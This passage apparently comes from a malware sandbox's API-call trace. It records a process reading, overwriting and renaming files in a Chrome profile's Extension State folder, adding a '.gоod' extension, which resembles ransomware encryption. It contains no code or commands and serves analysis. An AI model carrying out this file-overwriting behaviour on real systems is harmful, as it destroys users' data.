ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0219.594] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0219.594] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0219.594] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0219.594] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0219.594] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0219.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0219.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0219.595] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFilePart=0x0) returned 0x58 [0219.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0219.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x370c510 | out: lpFileInformation=0x370c510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e23151, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53e23151, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa71fbfe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4ad)) returned 1 [0219.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0219.596] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFilePart=0x0) returned 0x58 [0219.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0219.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0219.597] GetFileType (hFile=0x478) returned 0x1 [0219.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0219.597] GetFileType (hFile=0x478) returned 0x1 [0219.597] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x4ad [0219.597] ReadFile (in: hFile=0x478, lpBuffer=0x370cca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x370cca8*, lpNumberOfBytesRead=0x1f6e9f08*=0x4ad, lpOverlapped=0x0) returned 1 [0219.600] CloseHandle (hObject=0x478) returned 1 [0220.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFilePart=0x0) returned 0x58 [0220.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0220.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0220.077] GetFileType (hFile=0x478) returned 0x1 [0220.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0220.078] GetFileType (hFile=0x478) returned 0x1 [0220.078] WriteFile (in: hFile=0x478, lpBuffer=0x368d058*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x368d058*, lpNumberOfBytesWritten=0x1f6e9e18*=0x4b0, lpOverlapped=0x0) returned 1 [0220.079] CloseHandle (hObject=0x478) returned 1 [0220.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log", lpFilePart=0x0) returned 0x58 [0220.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.gоod", lpFilePart=0x0) returned 0x5d [0220.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0220.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e23151, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53e23151, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7f651adc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b0)) returned 1 [0220.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0220.079] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.gоod")) returned 1 [0220.080] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", lpFilePart=0x0) returned 0x55 [0220.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0220.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), fInfoLevelId=0x0, lpFileInformation=0x368e310 | out: lpFileInformation=0x368e310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b55418, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b55418, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0220.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0220.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", lpFilePart=0x0) returned 0x55 [0220.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0220.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0220.081] GetFileType (hFile=0x478) returned 0x1 [0220.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0220.081] GetFileType (hFile=0x478) returned 0x1 [0220.081] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x10 [0220.081] ReadFile (in: hFile=0x478, lpBuffer=0x368e5e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x368e5e8*, lpNumberOfBytesRead=0x1f6e9f08*=0x10, lpOverlapped=0x0) returned 1 [0220.082] CloseHandle (hObject=0x478) returned 1 [0220.109] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", lpFilePart=0x0) returned 0x55 [0220.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0220.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0220.110] GetFileType (hFile=0x478) returned 0x1 [0220.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0220.110] GetFileType (hFile=0x478) returned 0x1 [0220.110] WriteFile (in: hFile=0x478, lpBuffer=0x3707bb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x3707bb8*, lpNumberOfBytesWritten=0x1f6e9e18*=0x20, lpOverlapped=0x0) returned 1 [0220.111] CloseHandle (hObject=0x478) returned 1 [0220.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT", lpFilePart=0x0) returned 0x55 [0220.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.gоod", lpFilePart=0x0) returned 0x5a [0220.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0220.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b55418, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b55418, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7f68debe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0220.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0220.111] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current.gоod")) returned 1 [0220.112] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", lpFilePart=0x0) returned 0x52 [0220.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0220.112] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), fInfoLevelId=0x0, lpFileInformation=0x3708e58 | out: lpFileInformation=0x3708e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0220.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0221.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", lpFilePart=0x0) returned 0x52 [0221.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0221.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.001] GetFileType (hFile=0x864) returned 0x1 [0221.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0221.001] GetFileType (hFile=0x864) returned 0x1 [0221.002] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x0 [0221.002] CloseHandle (hObject=0x864) returned 1 [0221.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", lpFilePart=0x0) returned 0x52 [0221.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0221.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.078] GetFileType (hFile=0x864) returned 0x1 [0221.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0221.078] GetFileType (hFile=0x864) returned 0x1 [0221.078] WriteFile (in: hFile=0x864, lpBuffer=0x3738a80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x3738a80*, lpNumberOfBytesWritten=0x1f6e9e18*=0x10, lpOverlapped=0x0) returned 1 [0221.079] CloseHandle (hObject=0x864) returned 1 [0221.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK", lpFilePart=0x0) returned 0x52 [0221.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK.gоod", lpFilePart=0x0) returned 0x57 [0221.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0221.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7ffcb160, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0221.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0221.080] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock.gоod")) returned 1 [0221.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", lpFilePart=0x0) returned 0x51 [0221.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0221.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), fInfoLevelId=0x0, lpFileInformation=0x3739d08 | out: lpFileInformation=0x3739d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142)) returned 1 [0221.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0221.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", lpFilePart=0x0) returned 0x51 [0221.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0221.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.081] GetFileType (hFile=0x864) returned 0x1 [0221.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0221.081] GetFileType (hFile=0x864) returned 0x1 [0221.081] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x142 [0221.081] ReadFile (in: hFile=0x864, lpBuffer=0x373a0f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x373a0f8*, lpNumberOfBytesRead=0x1f6e9f08*=0x142, lpOverlapped=0x0) returned 1 [0221.444] CloseHandle (hObject=0x864) returned 1 [0221.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", lpFilePart=0x0) returned 0x51 [0221.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0221.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0221.556] GetFileType (hFile=0x864) returned 0x1 [0221.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0221.556] GetFileType (hFile=0x864) returned 0x1 [0221.556] WriteFile (in: hFile=0x864, lpBuffer=0x3727778*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x3727778*, lpNumberOfBytesWritten=0x1f6e9e18*=0x150, lpOverlapped=0x0) returned 1 [0221.557] CloseHandle (hObject=0x864) returned 1 [0221.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG", lpFilePart=0x0) returned 0x51 [0221.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.gоod", lpFilePart=0x0) returned 0x56 [0221.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0221.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x804699bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0221.557] SetThreadErrorMode (dwNewMode=0x0, 